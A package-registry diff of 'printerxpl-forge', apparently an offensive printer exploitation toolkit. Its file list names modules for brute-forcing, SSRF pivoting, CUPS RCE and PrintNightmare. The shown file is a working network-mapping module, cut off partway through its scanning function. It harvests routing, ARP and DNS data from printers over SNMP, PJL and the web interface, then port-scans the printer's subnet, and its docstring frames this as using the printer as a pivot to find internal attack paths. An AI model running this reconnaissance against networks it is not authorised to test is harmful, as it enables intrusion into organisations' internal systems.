printerxpl-forge 6.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- nse/README.md +204 -0
- nse/__init__.py +6 -0
- nse/install_nse.py +412 -0
- nse/lib/printerxpl.lua +238 -0
- nse/scripts/cups-info.nse +74 -0
- nse/scripts/cups-queue-info.nse +43 -0
- nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
- nse/scripts/http-device-mac.nse +107 -0
- nse/scripts/http-hp-ilo-info.nse +121 -0
- nse/scripts/http-info-xerox-enum.nse +101 -0
- nse/scripts/http-vuln-cve2022-1026.nse +158 -0
- nse/scripts/lexmark-config.nse +89 -0
- nse/scripts/pjl-ready-message.nse +106 -0
- nse/scripts/printer-banner.nse +217 -0
- nse/scripts/printer-cups-rce.nse +189 -0
- nse/scripts/printer-cve-detect.nse +279 -0
- nse/scripts/printer-discover.nse +205 -0
- nse/scripts/printer-firmware-exposed.nse +219 -0
- nse/scripts/printer-hp-pjl.nse +192 -0
- nse/scripts/printer-http-ews.nse +293 -0
- nse/scripts/printer-ipp-info.nse +235 -0
- nse/scripts/printer-lexmark-ipp.nse +203 -0
- nse/scripts/printer-passback.nse +204 -0
- nse/scripts/printer-pjl-info.nse +146 -0
- nse/scripts/printer-printnightmare.nse +211 -0
- nse/scripts/printer-snmp-info.nse +176 -0
- nse/scripts/printer-vuln-check.nse +256 -0
- nse/scripts/snmp-device-mac.nse +93 -0
- nse/scripts/snmp-info.nse +146 -0
- nse/scripts/snmp-sysdescr.nse +70 -0
- printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
- printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
- printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
- printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
- printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
- printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
- src/assets/fonts/gunplay.pfa +1671 -0
- src/assets/fonts/kshandwrt.pfa +315 -0
- src/assets/fonts/laksoner.pfa +2402 -0
- src/assets/fonts/paintcans.pfa +9699 -0
- src/assets/fonts/stencilod.pfa +4076 -0
- src/assets/fonts/takecover.pfa +26138 -0
- src/assets/fonts/topsecret.pfa +6652 -0
- src/assets/fonts/whoa.pfa +773 -0
- src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
- src/assets/mibs/Printer-MIB +4389 -0
- src/assets/mibs/README.md +9 -0
- src/assets/mibs/SNMPv2-MIB +854 -0
- src/assets/overlays/hacker.eps +596 -0
- src/assets/overlays/smiley.eps +214 -0
- src/assets/overlays/smiley2.eps +240 -0
- src/core/attack_orchestrator.py +1025 -0
- src/core/capabilities.py +323 -0
- src/core/destructive_audit.py +430 -0
- src/core/discovery.py +488 -0
- src/core/osdetect.py +74 -0
- src/core/poly_runner.py +579 -0
- src/core/printer.py +1426 -0
- src/main.py +2134 -0
- src/modules/install_printer.py +318 -0
- src/modules/login_bruteforce.py +852 -0
- src/modules/pcl.py +506 -0
- src/modules/pjl.py +3575 -0
- src/modules/print_job.py +1290 -0
- src/modules/ps.py +1102 -0
- src/payloads/__init__.py +98 -0
- src/payloads/assets/overlays/notice.eps +9 -0
- src/protocols/__init__.py +19 -0
- src/protocols/firmware.py +738 -0
- src/protocols/ipp.py +216 -0
- src/protocols/ipp_attacks.py +609 -0
- src/protocols/lpd.py +141 -0
- src/protocols/network_map.py +1004 -0
- src/protocols/raw.py +173 -0
- src/protocols/smb.py +359 -0
- src/protocols/ssrf_pivot.py +427 -0
- src/protocols/storage.py +587 -0
- src/ui/__init__.py +6 -0
- src/ui/interactive.py +742 -0
- src/ui/spinner.py +112 -0
- src/ui/tables.py +132 -0
- src/utils/banner_grabber.py +852 -0
- src/utils/codebook.py +456 -0
- src/utils/config.py +522 -0
- src/utils/cve_loader.py +158 -0
- src/utils/default_creds.py +134 -0
- src/utils/discovery_online.py +1327 -0
- src/utils/exploit_manager.py +805 -0
- src/utils/fuzzer.py +220 -0
- src/utils/helper.py +732 -0
- src/utils/local_printers.py +307 -0
- src/utils/ml_engine.py +491 -0
- src/utils/operators.py +474 -0
- src/utils/ports.py +234 -0
- src/utils/vuln_scanner.py +823 -0
- src/utils/wordlist_loader.py +412 -0
- src/version.py +36 -0
|
@@ -0,0 +1,1004 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
PrinterXPL-Forge — Network Mapper (Printer-Perspective)
|
|
5
|
+
=====================================================
|
|
6
|
+
Maps everything reachable FROM the printer's network position.
|
|
7
|
+
|
|
8
|
+
A network printer sits inside the LAN — often on a trusted segment, behind
|
|
9
|
+
firewalls that only block inbound connections from outside. This module uses
|
|
10
|
+
the printer itself as a recon platform to map the internal network.
|
|
11
|
+
|
|
12
|
+
Techniques used:
|
|
13
|
+
A. SNMP-based network info — routing table, ARP cache, interface list,
|
|
14
|
+
connected subnets, DNS servers
|
|
15
|
+
B. SSRF-based host/port scan — IPP print-by-reference timing analysis
|
|
16
|
+
C. PJL network variables — IP config, WINS, gateway, DNS, DHCP lease
|
|
17
|
+
D. PS/IPP route query — PostScript systemdict network info
|
|
18
|
+
E. Web interface network config page scraping
|
|
19
|
+
F. WSD device listing — other WSD devices on the same segment
|
|
20
|
+
G. mDNS/Bonjour neighbors — devices announcing on multicast
|
|
21
|
+
H. CORS spoofing payload gen — JavaScript XSP payload for web attacker
|
|
22
|
+
I. Windows Spooler recon — SMB-based print server discovery
|
|
23
|
+
|
|
24
|
+
Attack surface extensions from printer position:
|
|
25
|
+
- Reach internal web apps (HTTP to private IPs)
|
|
26
|
+
- Probe internal SMB shares (via SMB module)
|
|
27
|
+
- Access NAS/storage devices on the same subnet
|
|
28
|
+
- Enumerate other printers on the network
|
|
29
|
+
- Access management interfaces (router, switch, firewall, cameras)
|
|
30
|
+
- Pivot to cloud print services (Google Cloud Print, AirPrint relay)
|
|
31
|
+
"""
|
|
32
|
+
|
|
33
|
+
# Author : Andre Henrique (@mrhenrike)
|
|
34
|
+
# GitHub : https://github.com/mrhenrike
|
|
35
|
+
# LinkedIn : https://linkedin.com/in/mrhenrike
|
|
36
|
+
# X/Twitter : https://x.com/mrhenrike
|
|
37
|
+
|
|
38
|
+
from __future__ import annotations
|
|
39
|
+
|
|
40
|
+
import ipaddress
|
|
41
|
+
import logging
|
|
42
|
+
import re
|
|
43
|
+
import socket
|
|
44
|
+
import struct
|
|
45
|
+
import time
|
|
46
|
+
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
47
|
+
from dataclasses import dataclass, field
|
|
48
|
+
from typing import Dict, List, Optional, Set, Tuple
|
|
49
|
+
|
|
50
|
+
import requests
|
|
51
|
+
import urllib3
|
|
52
|
+
|
|
53
|
+
urllib3.disable_warnings()
|
|
54
|
+
|
|
55
|
+
_log = logging.getLogger(__name__)
|
|
56
|
+
|
|
57
|
+
# ── Data structures ───────────────────────────────────────────────────────────
|
|
58
|
+
|
|
59
|
+
@dataclass
|
|
60
|
+
class NetworkHost:
|
|
61
|
+
"""A host discovered from the printer's network perspective."""
|
|
62
|
+
ip: str
|
|
63
|
+
hostname: str = ''
|
|
64
|
+
mac: str = ''
|
|
65
|
+
open_ports: List[int] = field(default_factory=list)
|
|
66
|
+
services: Dict[str, str] = field(default_factory=dict)
|
|
67
|
+
device_type: str = '' # printer, router, server, camera, etc.
|
|
68
|
+
os_hint: str = ''
|
|
69
|
+
via: str = '' # discovery method
|
|
70
|
+
|
|
71
|
+
def __str__(self) -> str:
|
|
72
|
+
svc = ', '.join(f"{p}({v})" for p, v in self.services.items())
|
|
73
|
+
return f"{self.ip} [{self.device_type}] {self.hostname} ports={self.open_ports} {svc}"
|
|
74
|
+
|
|
75
|
+
|
|
76
|
+
@dataclass
|
|
77
|
+
class NetworkMap:
|
|
78
|
+
"""Complete network map built from the printer's vantage point."""
|
|
79
|
+
printer_ip: str
|
|
80
|
+
printer_iface: str = '' # interface/subnet the printer is on
|
|
81
|
+
gateway: str = ''
|
|
82
|
+
dns_servers: List[str] = field(default_factory=list)
|
|
83
|
+
ntp_servers: List[str] = field(default_factory=list)
|
|
84
|
+
netmask: str = ''
|
|
85
|
+
hosts: List[NetworkHost] = field(default_factory=list)
|
|
86
|
+
subnets: List[str] = field(default_factory=list)
|
|
87
|
+
other_printers: List[str] = field(default_factory=list)
|
|
88
|
+
attack_paths: List[str] = field(default_factory=list)
|
|
89
|
+
|
|
90
|
+
def summary(self) -> str:
|
|
91
|
+
return (f"Printer: {self.printer_ip} | Gateway: {self.gateway} | "
|
|
92
|
+
f"DNS: {self.dns_servers} | Hosts found: {len(self.hosts)} | "
|
|
93
|
+
f"Other printers: {len(self.other_printers)}")
|
|
94
|
+
|
|
95
|
+
|
|
96
|
+
# ── Known service ports ───────────────────────────────────────────────────────
|
|
97
|
+
|
|
98
|
+
COMMON_PORTS = {
|
|
99
|
+
21: 'FTP',
|
|
100
|
+
22: 'SSH',
|
|
101
|
+
23: 'Telnet',
|
|
102
|
+
25: 'SMTP',
|
|
103
|
+
53: 'DNS',
|
|
104
|
+
80: 'HTTP',
|
|
105
|
+
110: 'POP3',
|
|
106
|
+
135: 'MSRPC',
|
|
107
|
+
139: 'NetBIOS',
|
|
108
|
+
143: 'IMAP',
|
|
109
|
+
161: 'SNMP',
|
|
110
|
+
389: 'LDAP',
|
|
111
|
+
443: 'HTTPS',
|
|
112
|
+
445: 'SMB',
|
|
113
|
+
514: 'Syslog',
|
|
114
|
+
515: 'LPD',
|
|
115
|
+
548: 'AFP',
|
|
116
|
+
554: 'RTSP',
|
|
117
|
+
631: 'IPP',
|
|
118
|
+
636: 'LDAPS',
|
|
119
|
+
873: 'rsync',
|
|
120
|
+
902: 'VMware',
|
|
121
|
+
1433: 'MSSQL',
|
|
122
|
+
1723: 'PPTP',
|
|
123
|
+
2049: 'NFS',
|
|
124
|
+
3306: 'MySQL',
|
|
125
|
+
3389: 'RDP',
|
|
126
|
+
3702: 'WSD',
|
|
127
|
+
4848: 'GlassFish',
|
|
128
|
+
5000: 'UPnP',
|
|
129
|
+
5357: 'WSD-HTTP',
|
|
130
|
+
5432: 'PostgreSQL',
|
|
131
|
+
5900: 'VNC',
|
|
132
|
+
5985: 'WinRM',
|
|
133
|
+
6379: 'Redis',
|
|
134
|
+
7070: 'WebLogic',
|
|
135
|
+
8080: 'HTTP-Alt',
|
|
136
|
+
8443: 'HTTPS-Alt',
|
|
137
|
+
8888: 'HTTP-Alt2',
|
|
138
|
+
9100: 'RAW/PJL',
|
|
139
|
+
27017:'MongoDB',
|
|
140
|
+
49152:'UPnP-Dynamic',
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
PRINTER_SIGNATURES = {
|
|
144
|
+
9100: 'RAW/PJL printer',
|
|
145
|
+
631: 'IPP printer',
|
|
146
|
+
515: 'LPD printer',
|
|
147
|
+
443: 'Possible printer webUI',
|
|
148
|
+
80: 'Possible printer webUI',
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
DEVICE_TYPE_HINTS = {
|
|
152
|
+
'router': [80, 443, 23, 22],
|
|
153
|
+
'switch': [80, 443, 23, 22, 161],
|
|
154
|
+
'printer': [9100, 631, 515, 80],
|
|
155
|
+
'camera': [554, 80, 443, 8080],
|
|
156
|
+
'nas': [445, 139, 2049, 548, 80],
|
|
157
|
+
'server': [22, 3389, 5985, 135],
|
|
158
|
+
'database': [3306, 5432, 1433, 27017, 6379],
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
|
|
162
|
+
# ── A. SNMP network information ────────────────────────────────────────────────
|
|
163
|
+
|
|
164
|
+
def _snmp_get(host: str, oid: str, community: str = 'public',
|
|
165
|
+
timeout: float = 3) -> str:
|
|
166
|
+
"""Get a single SNMP OID value."""
|
|
167
|
+
try:
|
|
168
|
+
from pysnmp.hlapi import (
|
|
169
|
+
getCmd, CommunityData, UdpTransportTarget,
|
|
170
|
+
ContextData, ObjectType, ObjectIdentity, SnmpEngine,
|
|
171
|
+
)
|
|
172
|
+
import warnings
|
|
173
|
+
warnings.filterwarnings('ignore', category=RuntimeWarning)
|
|
174
|
+
for err_ind, err_stat, _, binds in getCmd(
|
|
175
|
+
SnmpEngine(),
|
|
176
|
+
CommunityData(community, mpModel=1),
|
|
177
|
+
UdpTransportTarget((host, 161), timeout=timeout, retries=0),
|
|
178
|
+
ContextData(),
|
|
179
|
+
ObjectType(ObjectIdentity(oid)),
|
|
180
|
+
):
|
|
181
|
+
if not err_ind and not err_stat and binds:
|
|
182
|
+
return str(binds[0][1])
|
|
183
|
+
except Exception:
|
|
184
|
+
pass
|
|
185
|
+
return ''
|
|
186
|
+
|
|
187
|
+
|
|
188
|
+
def _snmp_walk(host: str, base_oid: str, community: str = 'public',
|
|
189
|
+
timeout: float = 3, max_rows: int = 200) -> Dict[str, str]:
|
|
190
|
+
"""Walk SNMP subtree and return {oid: value}."""
|
|
191
|
+
result = {}
|
|
192
|
+
try:
|
|
193
|
+
from pysnmp.hlapi import (
|
|
194
|
+
nextCmd, CommunityData, UdpTransportTarget,
|
|
195
|
+
ContextData, ObjectType, ObjectIdentity, SnmpEngine,
|
|
196
|
+
)
|
|
197
|
+
import warnings
|
|
198
|
+
warnings.filterwarnings('ignore', category=RuntimeWarning)
|
|
199
|
+
for err_ind, err_stat, _, binds in nextCmd(
|
|
200
|
+
SnmpEngine(),
|
|
201
|
+
CommunityData(community, mpModel=1),
|
|
202
|
+
UdpTransportTarget((host, 161), timeout=timeout, retries=0),
|
|
203
|
+
ContextData(),
|
|
204
|
+
ObjectType(ObjectIdentity(base_oid)),
|
|
205
|
+
lexicographicMode=False,
|
|
206
|
+
maxRows=max_rows,
|
|
207
|
+
):
|
|
208
|
+
if err_ind or err_stat:
|
|
209
|
+
break
|
|
210
|
+
for oid, val in binds:
|
|
211
|
+
result[str(oid)] = str(val)
|
|
212
|
+
except Exception:
|
|
213
|
+
pass
|
|
214
|
+
return result
|
|
215
|
+
|
|
216
|
+
|
|
217
|
+
def snmp_network_info(host: str, timeout: float = 5) -> Dict:
|
|
218
|
+
"""
|
|
219
|
+
Extract all network configuration from printer via SNMP.
|
|
220
|
+
|
|
221
|
+
Returns dict with: gateway, netmask, dns_servers, ntp, interfaces,
|
|
222
|
+
arp_table, routing_table, hostname, mac addresses.
|
|
223
|
+
"""
|
|
224
|
+
info = {
|
|
225
|
+
'gateway': '',
|
|
226
|
+
'netmask': '',
|
|
227
|
+
'dns_servers': [],
|
|
228
|
+
'ntp_servers': [],
|
|
229
|
+
'hostname': '',
|
|
230
|
+
'interfaces': [],
|
|
231
|
+
'arp_table': [],
|
|
232
|
+
'routing_table': [],
|
|
233
|
+
'wins': '',
|
|
234
|
+
'domain': '',
|
|
235
|
+
}
|
|
236
|
+
|
|
237
|
+
# Gateway (default route via ipRouteTable)
|
|
238
|
+
routes = _snmp_walk(host, '1.3.6.1.2.1.4.21', timeout=timeout)
|
|
239
|
+
for oid, val in routes.items():
|
|
240
|
+
# ipRouteNextHop
|
|
241
|
+
if '1.3.6.1.2.1.4.21.1.7.' in oid and val not in ('0.0.0.0', ''):
|
|
242
|
+
info['gateway'] = val
|
|
243
|
+
|
|
244
|
+
# Interfaces
|
|
245
|
+
ifaces = _snmp_walk(host, '1.3.6.1.2.1.2.2.1', timeout=timeout)
|
|
246
|
+
seen_ifaces: Set[str] = set()
|
|
247
|
+
for oid, val in ifaces.items():
|
|
248
|
+
if '1.3.6.1.2.1.2.2.1.6.' in oid and len(val) > 2: # ifPhysAddress (MAC)
|
|
249
|
+
mac = ':'.join(val[i:i+2] for i in range(0, len(val.replace(' ', '')), 2)
|
|
250
|
+
if val.replace(' ', ''))[:17]
|
|
251
|
+
if mac not in seen_ifaces:
|
|
252
|
+
seen_ifaces.add(mac)
|
|
253
|
+
info['interfaces'].append({'mac': mac})
|
|
254
|
+
elif '1.3.6.1.2.1.2.2.1.2.' in oid: # ifDescr
|
|
255
|
+
info['interfaces'].append({'name': val})
|
|
256
|
+
|
|
257
|
+
# ARP table (ipNetToPhysicalTable or ipNetToMediaTable)
|
|
258
|
+
arp = _snmp_walk(host, '1.3.6.1.2.1.4.22.1', timeout=timeout)
|
|
259
|
+
for oid, val in arp.items():
|
|
260
|
+
if '1.3.6.1.2.1.4.22.1.3.' in oid: # ipNetToMediaNetAddress
|
|
261
|
+
info['arp_table'].append(val)
|
|
262
|
+
|
|
263
|
+
# IP addresses
|
|
264
|
+
ip_table = _snmp_walk(host, '1.3.6.1.2.1.4.20.1', timeout=timeout)
|
|
265
|
+
for oid, val in ip_table.items():
|
|
266
|
+
if '1.3.6.1.2.1.4.20.1.3.' in oid: # ipAdEntNetMask
|
|
267
|
+
info['netmask'] = val
|
|
268
|
+
break
|
|
269
|
+
|
|
270
|
+
# Hostname
|
|
271
|
+
info['hostname'] = _snmp_get(host, '1.3.6.1.2.1.1.5.0', timeout=timeout)
|
|
272
|
+
|
|
273
|
+
# DNS servers (vendor-specific MIBs)
|
|
274
|
+
# HP Jetdirect DNS
|
|
275
|
+
for oid in ['1.3.6.1.4.1.11.2.4.3.7.9.0', # HP primary DNS
|
|
276
|
+
'1.3.6.1.4.1.11.2.4.3.7.10.0']: # HP secondary DNS
|
|
277
|
+
val = _snmp_get(host, oid, timeout=timeout)
|
|
278
|
+
if val and val not in ('0.0.0.0', ''):
|
|
279
|
+
info['dns_servers'].append(val)
|
|
280
|
+
|
|
281
|
+
# Generic DNS (ipDNS, rfc1213-mib2)
|
|
282
|
+
for oid in ['1.3.6.1.2.1.4.20.1.1.0',
|
|
283
|
+
'1.3.6.1.4.1.2699.1.1.1.1.1.1.3.1.1.0']:
|
|
284
|
+
val = _snmp_get(host, oid, timeout=timeout)
|
|
285
|
+
if val and re.match(r'\d+\.\d+\.\d+\.\d+', val):
|
|
286
|
+
if val not in info['dns_servers']:
|
|
287
|
+
info['dns_servers'].append(val)
|
|
288
|
+
|
|
289
|
+
return info
|
|
290
|
+
|
|
291
|
+
|
|
292
|
+
# ── B. PJL network variables ──────────────────────────────────────────────────
|
|
293
|
+
|
|
294
|
+
PJL_NETWORK_VARS = [
|
|
295
|
+
'IP ADDRESS', 'SUBNET MASK', 'DEFAULT GATEWAY', 'WINS SERVER',
|
|
296
|
+
'PRIMARY DNS', 'SECONDARY DNS', 'DHCP', 'HOSTNAME', 'DOMAIN NAME',
|
|
297
|
+
'MAC ADDRESS', 'IPV6 ADDRESS', 'NTP SERVER', 'SYSLOG SERVER',
|
|
298
|
+
'SMTP SERVER', 'PROXY SERVER', 'PROXY PORT',
|
|
299
|
+
]
|
|
300
|
+
|
|
301
|
+
|
|
302
|
+
def pjl_network_info(host: str, timeout: float = 10) -> Dict[str, str]:
|
|
303
|
+
"""
|
|
304
|
+
Extract network configuration from printer via PJL network variables.
|
|
305
|
+
|
|
306
|
+
Returns dict of {variable: value}.
|
|
307
|
+
"""
|
|
308
|
+
info = {}
|
|
309
|
+
UEL = b'\x1b%-12345X'
|
|
310
|
+
|
|
311
|
+
# Build query for all network variables
|
|
312
|
+
cmds = [UEL + b'@PJL\r\n']
|
|
313
|
+
for var in PJL_NETWORK_VARS:
|
|
314
|
+
cmds.append(f'@PJL INFO VARIABLES\r\n'.encode())
|
|
315
|
+
cmds.append(f'@PJL ECHO "{var}"\r\n'.encode())
|
|
316
|
+
|
|
317
|
+
# Also query specific well-known PJL variables
|
|
318
|
+
cmds.append(b'@PJL INFOINIT\r\n')
|
|
319
|
+
cmds.append(b'@PJL INFO NETINFO\r\n')
|
|
320
|
+
cmds.append(UEL)
|
|
321
|
+
|
|
322
|
+
from utils.ports import PortConfig as _PC
|
|
323
|
+
try:
|
|
324
|
+
s = socket.create_connection((host, _PC.resolve('raw')), timeout=timeout)
|
|
325
|
+
s.settimeout(timeout)
|
|
326
|
+
for cmd in cmds:
|
|
327
|
+
s.sendall(cmd)
|
|
328
|
+
time.sleep(1.5)
|
|
329
|
+
data = b''
|
|
330
|
+
while True:
|
|
331
|
+
try:
|
|
332
|
+
chunk = s.recv(4096)
|
|
333
|
+
if not chunk:
|
|
334
|
+
break
|
|
335
|
+
data += chunk
|
|
336
|
+
if len(data) > 65536:
|
|
337
|
+
break
|
|
338
|
+
except (socket.timeout, BlockingIOError):
|
|
339
|
+
break
|
|
340
|
+
s.close()
|
|
341
|
+
|
|
342
|
+
text = data.decode('latin-1', errors='replace')
|
|
343
|
+
# Parse key=value pairs
|
|
344
|
+
for line in text.splitlines():
|
|
345
|
+
for var in PJL_NETWORK_VARS:
|
|
346
|
+
if var in line.upper():
|
|
347
|
+
parts = line.split('=', 1)
|
|
348
|
+
if len(parts) == 2:
|
|
349
|
+
info[var.lower().replace(' ', '_')] = parts[1].strip()[:60]
|
|
350
|
+
except Exception as exc:
|
|
351
|
+
_log.debug("PJL network info: %s", exc)
|
|
352
|
+
|
|
353
|
+
return info
|
|
354
|
+
|
|
355
|
+
|
|
356
|
+
# ── C. Web interface network config scraping ──────────────────────────────────
|
|
357
|
+
|
|
358
|
+
WEB_NETWORK_PAGES = [
|
|
359
|
+
'/hp/device/info', # HP
|
|
360
|
+
'/PRESENTATION/HTML/TOP/PRTINFO.HTML', # EPSON
|
|
361
|
+
'/info', '/status', '/config', '/network',
|
|
362
|
+
'/cgi-bin/config.cgi', '/cgi-bin/network.cgi',
|
|
363
|
+
'/admin/network', '/admin/netconfig',
|
|
364
|
+
'/webArch/getInfo.cgi', # Ricoh
|
|
365
|
+
'/DevMgmt/NetworkConfig.xml', # HP XML
|
|
366
|
+
'/xml/dev_status.xml',
|
|
367
|
+
'/sys/cfg/network.htm', # Kyocera
|
|
368
|
+
'/general/status.xml',
|
|
369
|
+
]
|
|
370
|
+
|
|
371
|
+
IP_PATTERN = re.compile(
|
|
372
|
+
r'\b(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}'
|
|
373
|
+
r'(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\b'
|
|
374
|
+
)
|
|
375
|
+
|
|
376
|
+
|
|
377
|
+
def web_network_info(host: str, timeout: float = 8) -> Dict:
|
|
378
|
+
"""
|
|
379
|
+
Scrape network configuration from printer web interface.
|
|
380
|
+
|
|
381
|
+
Extracts IPs, MACs, hostnames, and network settings from web pages.
|
|
382
|
+
Returns dict with extracted network details.
|
|
383
|
+
"""
|
|
384
|
+
info = {
|
|
385
|
+
'ips_found': set(),
|
|
386
|
+
'macs_found': set(),
|
|
387
|
+
'gateway_hint': '',
|
|
388
|
+
'dns_hint': '',
|
|
389
|
+
'raw_pages': [],
|
|
390
|
+
}
|
|
391
|
+
|
|
392
|
+
for scheme in ('http', 'https'):
|
|
393
|
+
port = 443 if scheme == 'https' else 80
|
|
394
|
+
for path in WEB_NETWORK_PAGES:
|
|
395
|
+
try:
|
|
396
|
+
r = requests.get(
|
|
397
|
+
f'{scheme}://{host}:{port}{path}',
|
|
398
|
+
timeout=timeout, verify=False,
|
|
399
|
+
)
|
|
400
|
+
if r.status_code != 200:
|
|
401
|
+
continue
|
|
402
|
+
|
|
403
|
+
text = r.text
|
|
404
|
+
info['raw_pages'].append({'path': path, 'content': text[:500]})
|
|
405
|
+
|
|
406
|
+
# Extract all IPs
|
|
407
|
+
for ip in IP_PATTERN.findall(text):
|
|
408
|
+
if not ip.startswith('127.') and ip != '0.0.0.0':
|
|
409
|
+
info['ips_found'].add(ip)
|
|
410
|
+
|
|
411
|
+
# Extract MACs
|
|
412
|
+
for mac in re.findall(
|
|
413
|
+
r'([0-9A-Fa-f]{2}[:\-]){5}[0-9A-Fa-f]{2}', text
|
|
414
|
+
):
|
|
415
|
+
info['macs_found'].add(mac[0]) # regex group
|
|
416
|
+
|
|
417
|
+
# Gateway patterns
|
|
418
|
+
for pat in [r'[Gg]ateway[:\s]+(' + IP_PATTERN.pattern + ')',
|
|
419
|
+
r'[Gg]W[:\s]+(' + IP_PATTERN.pattern + ')']:
|
|
420
|
+
m = re.search(pat, text)
|
|
421
|
+
if m:
|
|
422
|
+
info['gateway_hint'] = m.group(1)
|
|
423
|
+
|
|
424
|
+
# DNS patterns
|
|
425
|
+
for pat in [r'DNS[:\s]+(' + IP_PATTERN.pattern + ')',
|
|
426
|
+
r'[Nn]ame[Ss]erver[:\s]+(' + IP_PATTERN.pattern + ')']:
|
|
427
|
+
m = re.search(pat, text)
|
|
428
|
+
if m:
|
|
429
|
+
info['dns_hint'] = m.group(1)
|
|
430
|
+
|
|
431
|
+
except Exception:
|
|
432
|
+
pass
|
|
433
|
+
|
|
434
|
+
info['ips_found'] = list(info['ips_found'])
|
|
435
|
+
info['macs_found'] = list(info['macs_found'])
|
|
436
|
+
return info
|
|
437
|
+
|
|
438
|
+
|
|
439
|
+
# ── D. Host discovery and service enumeration ─────────────────────────────────
|
|
440
|
+
|
|
441
|
+
def _tcp_probe(ip: str, port: int, timeout: float) -> bool:
|
|
442
|
+
"""Return True if TCP port is open on ip."""
|
|
443
|
+
try:
|
|
444
|
+
s = socket.create_connection((ip, port), timeout=timeout)
|
|
445
|
+
s.close()
|
|
446
|
+
return True
|
|
447
|
+
except OSError:
|
|
448
|
+
return False
|
|
449
|
+
|
|
450
|
+
|
|
451
|
+
def _banner_grab(ip: str, port: int, timeout: float = 2) -> str:
|
|
452
|
+
"""Grab a basic TCP banner."""
|
|
453
|
+
try:
|
|
454
|
+
s = socket.create_connection((ip, port), timeout=timeout)
|
|
455
|
+
s.settimeout(timeout)
|
|
456
|
+
# Send HTTP probe for web ports
|
|
457
|
+
if port in (80, 443, 8080, 8443):
|
|
458
|
+
try:
|
|
459
|
+
s.sendall(b'HEAD / HTTP/1.0\r\nHost: ' + ip.encode() + b'\r\n\r\n')
|
|
460
|
+
except Exception:
|
|
461
|
+
pass
|
|
462
|
+
try:
|
|
463
|
+
banner = s.recv(256).decode('latin-1', errors='replace').strip()
|
|
464
|
+
except Exception:
|
|
465
|
+
banner = ''
|
|
466
|
+
s.close()
|
|
467
|
+
return banner[:100]
|
|
468
|
+
except Exception:
|
|
469
|
+
return ''
|
|
470
|
+
|
|
471
|
+
|
|
472
|
+
def _guess_device_type(open_ports: List[int]) -> str:
|
|
473
|
+
"""Guess device type from open ports."""
|
|
474
|
+
port_set = set(open_ports)
|
|
475
|
+
if port_set & {9100, 631, 515}:
|
|
476
|
+
return 'printer'
|
|
477
|
+
if port_set & {554, 8554}:
|
|
478
|
+
return 'camera/dvr'
|
|
479
|
+
if port_set & {445, 2049, 548}:
|
|
480
|
+
return 'nas/fileserver'
|
|
481
|
+
if port_set & {3306, 5432, 1433, 27017}:
|
|
482
|
+
return 'database'
|
|
483
|
+
if port_set & {22, 3389, 5985}:
|
|
484
|
+
return 'server'
|
|
485
|
+
if len(port_set & {80, 443, 23}) >= 2:
|
|
486
|
+
return 'router/switch'
|
|
487
|
+
return 'unknown'
|
|
488
|
+
|
|
489
|
+
|
|
490
|
+
def scan_host(
|
|
491
|
+
ip: str,
|
|
492
|
+
ports: List[int] = None,
|
|
493
|
+
timeout: float = 1.5,
|
|
494
|
+
) -> Optional[NetworkHost]:
|
|
495
|
+
"""
|
|
496
|
+
Probe a single host for open ports and return a NetworkHost or None.
|
|
497
|
+
"""
|
|
498
|
+
if ports is None:
|
|
499
|
+
ports = sorted(COMMON_PORTS.keys())
|
|
500
|
+
|
|
501
|
+
open_ports = []
|
|
502
|
+
services = {}
|
|
503
|
+
|
|
504
|
+
for port in ports:
|
|
505
|
+
if _tcp_probe(ip, port, timeout):
|
|
506
|
+
open_ports.append(port)
|
|
507
|
+
svc_name = COMMON_PORTS.get(port, f'port-{port}')
|
|
508
|
+
services[port] = svc_name
|
|
509
|
+
|
|
510
|
+
if not open_ports:
|
|
511
|
+
return None
|
|
512
|
+
|
|
513
|
+
# Grab banners for key ports
|
|
514
|
+
host = NetworkHost(ip=ip, open_ports=open_ports, services=services)
|
|
515
|
+
host.device_type = _guess_device_type(open_ports)
|
|
516
|
+
|
|
517
|
+
# Reverse DNS
|
|
518
|
+
try:
|
|
519
|
+
host.hostname = socket.gethostbyaddr(ip)[0]
|
|
520
|
+
except Exception:
|
|
521
|
+
pass
|
|
522
|
+
|
|
523
|
+
return host
|
|
524
|
+
|
|
525
|
+
|
|
526
|
+
def discover_network(
|
|
527
|
+
printer_ip: str,
|
|
528
|
+
subnet: str = None,
|
|
529
|
+
ports: List[int] = None,
|
|
530
|
+
timeout: float = 0.8,
|
|
531
|
+
workers: int = 50,
|
|
532
|
+
verbose: bool = True,
|
|
533
|
+
) -> List[NetworkHost]:
|
|
534
|
+
"""
|
|
535
|
+
Scan the printer's subnet for live hosts and open services.
|
|
536
|
+
|
|
537
|
+
This runs directly from the scanner host (not via SSRF) to map
|
|
538
|
+
what the printer can reach from its network position.
|
|
539
|
+
|
|
540
|
+
Args:
|
|
541
|
+
subnet: CIDR (e.g. '192.168.1.0/24'). Auto-derived from printer_ip if None.
|
|
542
|
+
ports: Ports to probe per host. Uses a focused set if None.
|
|
543
|
+
workers: Parallel threads for scanning (default 50 for speed).
|
|
544
|
+
timeout: TCP connect timeout in seconds (default 0.8s — fast LAN scan).
|
|
545
|
+
"""
|
|
546
|
+
if subnet is None:
|
|
547
|
+
parts = printer_ip.rsplit('.', 1)
|
|
548
|
+
subnet = parts[0] + '.0/24'
|
|
549
|
+
|
|
550
|
+
if ports is None:
|
|
551
|
+
# Focused set covering the most impactful services — fast scan
|
|
552
|
+
ports = [22, 23, 80, 135, 139, 443, 445, 515, 548, 554,
|
|
553
|
+
631, 3389, 5900, 5985, 8080, 8443, 9100, 27017]
